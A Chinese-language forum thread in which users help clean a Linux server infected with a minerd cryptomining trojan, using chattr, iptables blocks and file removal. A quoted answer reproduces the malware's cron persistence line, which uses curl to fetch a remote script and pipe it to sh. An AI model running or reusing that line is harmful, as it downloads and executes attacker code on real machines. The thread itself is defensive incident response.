服務(wù)器被入侵，做了minerd挖礦機(jī)了，清理不掉，求大神

tabtty

Linux 服務(wù)器被入侵植入了 /opt/minerd 程序，被當(dāng)做挖礦肉雞了。在網(wǎng)上找的方法都不管用，清除掉cron 里面的任務(wù)，  crontab -l  已經(jīng) no crontab for root 了，并停止 crond 服務(wù)了，刪除掉系統(tǒng)里面全部名字包含  miner 的文件，然后殺掉 minerd 進(jìn)程，刪掉 /opt/minerd 文件，進(jìn)程還是會(huì)幾分鐘后就自動(dòng)啟動(dòng)起來。
求大神支招！！ 拜謝

tabtty

系統(tǒng)里面自動(dòng)生成一個(gè) /usr/local/etc/minerd.conf   文件，內(nèi)容是登陸到目標(biāo)地址的配置，把里面內(nèi)容改掉了。 然后進(jìn)程會(huì)自動(dòng)重啟，還是顯示原來的內(nèi)容。刪掉這文件也不管用。

Shell_HAT

1. cd /usr/local/etc/
   
2. :>minerd.conf
   
3. chmod 000 minerd.conf
   
4. chattr +i minerd.conf

復(fù)制代碼

tabtty

回復(fù) 3# Shell_HAT

方法不錯(cuò)。這個(gè)可以讓木馬程序不往對(duì)端發(fā)送消息了。但自身 /opt/minerd  程序還是在運(yùn)行，在消耗大量CPU資源。
能否還有啥辦法可以徹底清除這個(gè)木馬呢
   

Shell_HAT

回復(fù) 4# tabtty

1. cd /opt/
   
2. killall minerd
   
3. :>minerd
   
4. chmod 000 minerd
   
5. chattr +i minerd

復(fù)制代碼

73052

服務(wù)器受到同樣的攻擊了，有徹底解決的方法嗎

RE_HASH

外面的帖子：
I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script -

On monkeyoto's suggestion, I blocked all communication with the mining pool server - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
Removed the cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root.
Removed the directory /opt/yam.
Removed /root/.ssh/KHK75NEOiq.
Deleted the files /opt/minerd and /opt/KHK75NEOiq33.
Stopped the minerd process - pkill minerd.
Stopped lady - service lady stop.
I ran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p and ps aux | grep minerd after that and the malware was nowhere to be seen.

I still need to figure out how it gained access into the system but I was able to disable it this way.

RE_HASH

系統(tǒng)安全是問題，刪掉了病毒可漏洞還在。清查一下有啥老版本的軟件，WordPress之類的。

73052

回復(fù) 8# RE_HASH


    沒有l(wèi)ady這個(gè)服務(wù)

RE_HASH

看看有沒有別的怪模怪樣的service
service --status-all

原帖：
http:....//security.stackexchange.com/questions/129448/how-can-i-kill-minerd-malware-on-an-aws-ec2-instance